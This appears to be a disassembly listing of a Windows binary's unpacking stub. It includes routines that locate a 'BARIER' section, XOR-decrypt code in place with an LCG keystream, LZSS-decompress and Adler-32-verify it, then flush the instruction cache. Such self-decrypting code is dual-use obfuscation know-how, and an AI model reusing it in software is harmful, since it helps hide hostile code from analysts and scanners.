sub_4CCDBF	proc near		; CODE XREF: sub_4CCCCF+5Ep

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEB20
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, ds:dword_4E610C
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4CCE2E
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4DEB00
		push	esi
		call	ds:dword_4DE048	; GetStringTypeW
		test	eax, eax
		jz	short loc_4CCE0C
		mov	eax, esi
		jmp	short loc_4CCE29
; ---------------------------------------------------------------------------


loc_4CCE0C:				; CODE XREF: sub_4CCDBF+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4DEAFC
		push	esi
		push	ebx
		call	ds:dword_4DE030	; GetStringTypeA
		test	eax, eax
		jz	loc_4CCEF4
		push	2
		pop	eax


loc_4CCE29:				; CODE XREF: sub_4CCDBF+4Bj
		mov	ds:dword_4E610C, eax


loc_4CCE2E:				; CODE XREF: sub_4CCDBF+2Fj
		cmp	eax, 2
		jnz	short loc_4CCE57
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_4CCE3F
		mov	eax, ds:dword_4E60F4


loc_4CCE3F:				; CODE XREF: sub_4CCDBF+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	ds:dword_4DE030	; GetStringTypeA
		jmp	loc_4CCEF6
; ---------------------------------------------------------------------------


loc_4CCE57:				; CODE XREF: sub_4CCDBF+72j
		cmp	eax, 1
		jnz	loc_4CCEF4
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4CCE6D
		mov	eax, ds:dword_4E6104
		mov	[ebp+arg_10], eax


loc_4CCE6D:				; CODE XREF: sub_4CCDBF+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_4DE044	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_4CCEF4
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_4CCD90
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_4CCF10
		add	esp, 0Ch
		jmp	short loc_4CCEC3
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4CCEC3:				; CODE XREF: sub_4CCDBF+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_4CCEF4
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_4DE044	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_4CCEF4
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_4DE048	; GetStringTypeW
		jmp	short loc_4CCEF6
; ---------------------------------------------------------------------------


loc_4CCEF4:				; CODE XREF: sub_4CCDBF+61j
					; sub_4CCDBF+9Bj ...
		xor	eax, eax


loc_4CCEF6:				; CODE XREF: sub_4CCDBF+93j
					; sub_4CCDBF+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4CCDBF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4CCF10	proc near		; CODE XREF: sub_4CCDBF+EFp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4CCF63
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4CCF57
		neg	ecx
		and	ecx, 3
		jz	short loc_4CCF39
		sub	edx, ecx


loc_4CCF33:				; CODE XREF: sub_4CCF10+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4CCF33


loc_4CCF39:				; CODE XREF: sub_4CCF10+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4CCF57
		rep stosd
		test	edx, edx
		jz	short loc_4CCF5D


loc_4CCF57:				; CODE XREF: sub_4CCF10+18j
					; sub_4CCF10+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4CCF57


loc_4CCF5D:				; CODE XREF: sub_4CCF10+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4CCF63:				; CODE XREF: sub_4CCF10+Aj
		mov	eax, [esp+arg_0]
		retn
sub_4CCF10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4CCF68	proc near		; CODE XREF: sub_4CC454+13p
		jmp	ds:dword_4DE03C
sub_4CCF68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CCF6E	proc near		; CODE XREF: sub_4CD2E0+183p
					; sub_4CD2E0+361p
					; DATA XREF: ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		and	esi, 0FFFFh
		shr	edi, 10h
		test	ecx, ecx
		jnz	short loc_4CCF90
		push	1
		pop	eax
		jmp	loc_4CD083
; ---------------------------------------------------------------------------


loc_4CCF90:				; CODE XREF: sub_4CCF6E+18j
		cmp	[ebp+arg_8], 0
		jbe	loc_4CD07C
		push	ebx


loc_4CCF9B:				; CODE XREF: sub_4CCF6E+107j
		mov	edx, 15B0h
		cmp	[ebp+arg_8], edx
		jnb	short loc_4CCFA8
		mov	edx, [ebp+arg_8]


loc_4CCFA8:				; CODE XREF: sub_4CCF6E+35j
		sub	[ebp+arg_8], edx
		cmp	edx, 10h
		jl	loc_4CD04B
		mov	eax, edx
		shr	eax, 4
		mov	ebx, eax
		neg	ebx
		shl	ebx, 4
		add	edx, ebx


loc_4CCFC2:				; CODE XREF: sub_4CCF6E+D7j
		movzx	ebx, byte ptr [ecx]
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+1]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+2]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+3]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+4]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+5]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+6]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+7]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+8]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+9]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Ah]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Bh]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Ch]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Dh]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Eh]
		add	edi, esi
		add	esi, ebx
		movzx	ebx, byte ptr [ecx+0Fh]
		add	edi, esi
		add	esi, ebx
		add	edi, esi
		add	ecx, 10h
		dec	eax
		jnz	loc_4CCFC2


loc_4CD04B:				; CODE XREF: sub_4CCF6E+40j
		test	edx, edx
		jz	short loc_4CD05A


loc_4CD04F:				; CODE XREF: sub_4CCF6E+EAj
		movzx	eax, byte ptr [ecx]
		add	esi, eax
		inc	ecx
		add	edi, esi
		dec	edx
		jnz	short loc_4CD04F


loc_4CD05A:				; CODE XREF: sub_4CCF6E+DFj
		mov	ebx, 0FFF1h
		mov	eax, esi
		xor	edx, edx
		mov	esi, ebx
		div	esi
		mov	eax, edi
		mov	esi, edx
		xor	edx, edx
		div	ebx
		cmp	[ebp+arg_8], 0
		mov	edi, edx
		ja	loc_4CCF9B
		pop	ebx


loc_4CD07C:				; CODE XREF: sub_4CCF6E+26j
		mov	eax, edi
		shl	eax, 10h
		or	eax, esi


loc_4CD083:				; CODE XREF: sub_4CCF6E+1Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4CCF6E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CD090	proc near		; CODE XREF: sub_4CD2E0+15Ep
					; sub_4CD2E0+33Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_1C], ecx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_8]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_C]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_1C]
		mov	dword ptr [edx+14h], 0
		mov	eax, [ebp+var_1C]
		mov	dword ptr [eax+10h], 0
		mov	[ebp+var_10], 0
		jmp	short loc_4CD0E2
; ---------------------------------------------------------------------------


loc_4CD0D9:				; CODE XREF: sub_4CD090+65j
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_4CD0E2:				; CODE XREF: sub_4CD090+47j
		cmp	[ebp+var_10], 0FEEh
		jge	short loc_4CD0F7
		mov	edx, [ebp+var_1C]
		add	edx, [ebp+var_10]
		mov	byte ptr [edx+18h], 20h
		jmp	short loc_4CD0D9
; ---------------------------------------------------------------------------


loc_4CD0F7:				; CODE XREF: sub_4CD090+59j
		mov	[ebp+var_8], 0FEEh
		mov	[ebp+var_4], 0


loc_4CD105:				; CODE XREF: sub_4CD090:loc_4CD236j
		mov	eax, [ebp+var_4]
		shr	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		and	ecx, 100h
		test	ecx, ecx
		jnz	short loc_4CD139
		mov	ecx, [ebp+var_1C]
		call	sub_4CD250
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_4CD130
		jmp	loc_4CD23B
; ---------------------------------------------------------------------------


loc_4CD130:				; CODE XREF: sub_4CD090+99j
		mov	edx, [ebp+var_C]
		or	dh, 0FFh
		mov	[ebp+var_4], edx


loc_4CD139:				; CODE XREF: sub_4CD090+88j
		mov	eax, [ebp+var_4]
		and	eax, 1
		test	eax, eax
		jz	short loc_4CD18A
		mov	ecx, [ebp+var_1C]
		call	sub_4CD250
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_4CD159
		jmp	loc_4CD23B
; ---------------------------------------------------------------------------


loc_4CD159:				; CODE XREF: sub_4CD090+C2j
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		call	sub_4CD290
		mov	ecx, [ebp+var_1C]
		add	ecx, [ebp+var_8]
		mov	dl, byte ptr [ebp+var_C]
		mov	[ecx+18h], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFh
		mov	[ebp+var_8], ecx
		jmp	loc_4CD236
; ---------------------------------------------------------------------------


loc_4CD18A:				; CODE XREF: sub_4CD090+B1j
		mov	ecx, [ebp+var_1C]
		call	sub_4CD250
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_4CD1A0
		jmp	loc_4CD23B
; ---------------------------------------------------------------------------


loc_4CD1A0:				; CODE XREF: sub_4CD090+109j
		mov	ecx, [ebp+var_1C]
		call	sub_4CD250
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4CD1B6
		jmp	loc_4CD23B
; ---------------------------------------------------------------------------


loc_4CD1B6:				; CODE XREF: sub_4CD090+11Fj
		mov	edx, [ebp+var_14]
		and	edx, 0F0h
		shl	edx, 4
		mov	eax, [ebp+var_10]
		or	eax, edx
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 0Fh
		add	ecx, 2
		mov	[ebp+var_14], ecx
		mov	[ebp+var_18], 0
		jmp	short loc_4CD1E8
; ---------------------------------------------------------------------------


loc_4CD1DF:				; CODE XREF: sub_4CD090+1A4j
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx


loc_4CD1E8:				; CODE XREF: sub_4CD090+14Dj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jg	short loc_4CD236
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_18]
		and	ecx, 0FFFh
		mov	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+ecx+18h]
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		call	sub_4CD290
		mov	ecx, [ebp+var_1C]
		add	ecx, [ebp+var_8]
		mov	dl, byte ptr [ebp+var_C]
		mov	[ecx+18h], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFh
		mov	[ebp+var_8], ecx
		jmp	short loc_4CD1DF
; ---------------------------------------------------------------------------


loc_4CD236:				; CODE XREF: sub_4CD090+F5j
					; sub_4CD090+15Ej
		jmp	loc_4CD105
; ---------------------------------------------------------------------------


loc_4CD23B:				; CODE XREF: sub_4CD090+9Bj
					; sub_4CD090+C4j ...
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+10h]
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_4CD090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CD250	proc near		; CODE XREF: sub_4CD090+8Dp
					; sub_4CD090+B6p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	edx, [eax+14h]
		cmp	edx, [ecx+8]
		jb	short loc_4CD26A
		or	eax, 0FFFFFFFFh
		jmp	short loc_4CD28B
; ---------------------------------------------------------------------------


loc_4CD26A:				; CODE XREF: sub_4CD250+13j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		xor	edx, edx
		mov	dl, [ecx+eax]
		mov	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+14h], edx


loc_4CD28B:				; CODE XREF: sub_4CD250+18j
		mov	esp, ebp
		pop	ebp
		retn
sub_4CD250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CD290	proc near		; CODE XREF: sub_4CD090+CFp
					; sub_4CD090+17Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	edx, [eax+10h]
		cmp	edx, [ecx+0Ch]
		jb	short loc_4CD2AC
		jmp	short loc_4CD2CD
; ---------------------------------------------------------------------------


loc_4CD2AC:				; CODE XREF: sub_4CD290+18j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		mov	dl, byte ptr [ebp+var_8]
		mov	[ecx+eax], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+10h], ecx


loc_4CD2CD:				; CODE XREF: sub_4CD290+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4CD290	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CD2E0	proc near		; CODE XREF: _4:loc_4CD700p

var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 70h
		push	esi
		push	edi
		push	0
		call	ds:dword_4DE014	; GetModuleHandleA
		mov	[ebp+var_18], eax
		push	0D440h
		push	40h
		call	ds:dword_4DE010	; LocalAlloc
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 3FAh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 4
		mov	[ebp+var_10], ecx
		mov	[ebp+var_1C], 0
		mov	[ebp+var_44], 1
		mov	[ebp+var_30], 0
		mov	[ebp+var_3C], offset aBarier ; "BARIER"


loc_4CD333:				; CODE XREF: sub_4CD2E0+98j
					; sub_4CD2E0+A0j
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		imul	eax, 28h
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	edx, [ebp+var_44]
		imul	edx, 28h
		sub	ecx, edx
		mov	[ebp+var_30], ecx
		mov	eax, [ebp+var_44]
		add	eax, 1
		mov	[ebp+var_44], eax
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_18]
		add	edx, [ecx+0Ch]
		mov	[ebp+var_40], edx
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_18]
		add	ecx, [eax+0Ch]
		mov	edx, [ebp+var_30]
		add	ecx, [edx+8]
		mov	[ebp+var_2C], ecx
		mov	eax, [ebp+var_40]
		cmp	eax, [ebp+var_3C]
		ja	short loc_4CD333
		mov	ecx, [ebp+var_3C]
		cmp	ecx, [ebp+var_2C]
		jnb	short loc_4CD333
		mov	edx, [ebp+var_40]
		mov	[ebp+var_20], edx
		jmp	short loc_4CD393
; ---------------------------------------------------------------------------


loc_4CD38A:				; CODE XREF: sub_4CD2E0+DAj
		mov	eax, [ebp+var_40]
		add	eax, 4
		mov	[ebp+var_40], eax


loc_4CD393:				; CODE XREF: sub_4CD2E0+A8j
		mov	ecx, [ebp+var_40]
		cmp	ecx, [ebp+var_2C]
		jnb	short loc_4CD3BC
		mov	edx, [ebp+var_20]
		imul	edx, 19660Dh
		add	edx, 3C6EF375h
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_40]
		mov	ecx, [eax]
		xor	ecx, [ebp+var_20]
		mov	edx, [ebp+var_40]
		mov	[edx], ecx
		jmp	short loc_4CD38A
; ---------------------------------------------------------------------------


loc_4CD3BC:				; CODE XREF: sub_4CD2E0+B9j
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_18]
		add	ecx, [eax+0Ch]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [eax+8]
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_38]
		push	edx
		push	40h
		call	ds:dword_4DE010	; LocalAlloc
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_4CD400
		cmp	[ebp+var_38], 10000h
		jbe	short loc_4CD411


loc_4CD400:				; CODE XREF: sub_4CD2E0+115j
		push	0
		push	0
		push	0
		push	0EF0000FEh
		call	ds:dword_4DE00C	; RaiseException


loc_4CD411:				; CODE XREF: sub_4CD2E0+11Ej
		mov	ecx, [ebp+var_38]
		mov	esi, [ebp+var_24]
		add	esi, 0Ch
		mov	edi, [ebp+var_1C]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_38]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	ecx, [ebp+var_8]
		call	sub_4CD090
		cmp	eax, [ebp+var_28]
		jz	short loc_4CD459
		push	0
		push	0
		push	0
		push	0EF0000F8h
		call	ds:dword_4DE00C	; RaiseException


loc_4CD459:				; CODE XREF: sub_4CD2E0+166j
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		push	0
		call	sub_4CCF6E
		add	esp, 0Ch
		cmp	eax, [ebp+var_34]
		jz	short loc_4CD481
		push	0
		push	0
		push	0
		push	0EF0000FAh
		call	ds:dword_4DE00C	; RaiseException


loc_4CD481:				; CODE XREF: sub_4CD2E0+18Ej
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	ds:dword_4DE008	; LocalFree
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_4DE014	; GetModuleHandleA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4CD4B0
		push	0
		push	0
		push	0
		push	0EF0000FDh
		call	ds:dword_4DE00C	; RaiseException


loc_4CD4B0:				; CODE XREF: sub_4CD2E0+1BDj
		push	offset aFlushinstructi ; "FlushInstructionCache"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1670, eax
		push	offset aGetcurrentproc ; "GetCurrentProcess"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	[ebp+var_14], eax
		cmp	ds:dword_4E1670, 0
		jnz	short loc_4CD4F0
		push	0
		push	0
		push	0
		push	0EF0000FCh
		call	ds:dword_4DE00C	; RaiseException


loc_4CD4F0:				; CODE XREF: sub_4CD2E0+1FDj
		call	[ebp+var_14]
		mov	ds:dword_4E168C, eax
		mov	[ebp+var_48], 0
		mov	[ebp+var_68], 3
		mov	[ebp+var_58], 0


loc_4CD50D:				; CODE XREF: sub_4CD2E0+272j
					; sub_4CD2E0+27Aj
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		imul	edx, 28h
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	ecx, [ebp+var_68]
		imul	ecx, 28h
		sub	eax, ecx
		mov	[ebp+var_58], eax
		mov	edx, [ebp+var_68]
		add	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_58]
		mov	ecx, [ebp+var_18]
		add	ecx, [eax+0Ch]
		mov	[ebp+var_64], ecx
		mov	edx, [ebp+var_58]
		mov	eax, [ebp+var_18]
		add	eax, [edx+0Ch]
		mov	ecx, [ebp+var_58]
		add	eax, [ecx+8]
		mov	[ebp+var_54], eax
		mov	edx, [ebp+var_64]
		cmp	edx, [ebp+arg_0]
		jnb	short loc_4CD50D
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_54]
		jnb	short loc_4CD50D
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_64], ecx
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4C], edx
		mov	eax, [ebp+var_64]
		add	eax, 0Ch
		and	al, 0FCh
		mov	[ebp+var_64], eax
		jmp	short loc_4CD57E
; ---------------------------------------------------------------------------


loc_4CD575:				; CODE XREF: sub_4CD2E0+2C4j
		mov	ecx, [ebp+var_64]
		add	ecx, 4
		mov	[ebp+var_64], ecx


loc_4CD57E:				; CODE XREF: sub_4CD2E0+293j
		mov	edx, [ebp+var_64]
		cmp	edx, [ebp+var_54]
		jnb	short loc_4CD5A6
		mov	eax, [ebp+var_4C]
		imul	eax, 19660Dh
		add	eax, 3C6EF375h
		mov	[ebp+var_4C], eax
		mov	ecx, [ebp+var_64]
		mov	edx, [ecx]
		xor	edx, [ebp+var_4C]
		mov	eax, [ebp+var_64]
		mov	[eax], edx
		jmp	short loc_4CD575
; ---------------------------------------------------------------------------


loc_4CD5A6:				; CODE XREF: sub_4CD2E0+2A4j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[ebp+var_50], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[ebp+var_60], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ebp+var_5C], eax
		mov	ecx, [ebp+var_60]
		push	ecx
		push	40h
		call	ds:dword_4DE010	; LocalAlloc
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jz	short loc_4CD5DE
		cmp	[ebp+var_60], 10000h
		jbe	short loc_4CD5EF


loc_4CD5DE:				; CODE XREF: sub_4CD2E0+2F3j
		push	0
		push	0
		push	0
		push	0EF0000FFh
		call	ds:dword_4DE00C	; RaiseException


loc_4CD5EF:				; CODE XREF: sub_4CD2E0+2FCj
		mov	ecx, [ebp+var_60]
		mov	esi, [ebp+arg_0]
		add	esi, 0Ch
		mov	edi, [ebp+var_48]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_50]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_60]
		push	edx
		mov	eax, [ebp+var_48]
		push	eax
		mov	ecx, [ebp+var_8]
		call	sub_4CD090
		cmp	eax, [ebp+var_50]
		jz	short loc_4CD637
		push	0
		push	0
		push	0
		push	0EF0000F9h
		call	ds:dword_4DE00C	; RaiseException


loc_4CD637:				; CODE XREF: sub_4CD2E0+344j
		mov	ecx, [ebp+var_50]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		call	sub_4CCF6E
		add	esp, 0Ch
		cmp	eax, [ebp+var_5C]
		jz	short loc_4CD65F
		push	0
		push	0
		push	0
		push	0EF0000FBh
		call	ds:dword_4DE00C	; RaiseException


loc_4CD65F:				; CODE XREF: sub_4CD2E0+36Cj
		mov	eax, [ebp+var_50]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, ds:dword_4E168C
		push	edx
		call	ds:dword_4E1670	; FlushInstructionCache
		mov	eax, [ebp+var_48]
		push	eax
		call	ds:dword_4DE008	; LocalFree
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_4DE008	; LocalFree
		push	offset dword_4E1A28
		call	ds:dword_4DE000	; InitializeCriticalSection
		push	offset dword_4E1930
		call	ds:dword_4DE000	; InitializeCriticalSection
		call	sub_4CE2E0
		push	80h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_6C], 0
		jz	short loc_4CD6C6
		mov	ecx, [ebp+var_6C]
		call	sub_4CDDD0
		mov	[ebp+var_70], eax
		jmp	short loc_4CD6CD
; ---------------------------------------------------------------------------


loc_4CD6C6:				; CODE XREF: sub_4CD2E0+3D7j
		mov	[ebp+var_70], 0


loc_4CD6CD:				; CODE XREF: sub_4CD2E0+3E4j
		mov	edx, offset dword_4CD720
		mov	eax, [ebp+var_70]
		mov	[edx+4], eax
		call	sub_4D8C17
		mov	ds:dword_4E60DC, eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	ds:dword_4E1698, edx
		mov	eax, [ebp+var_4]
		mov	ds:off_4E169C, eax
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4CD2E0	endp

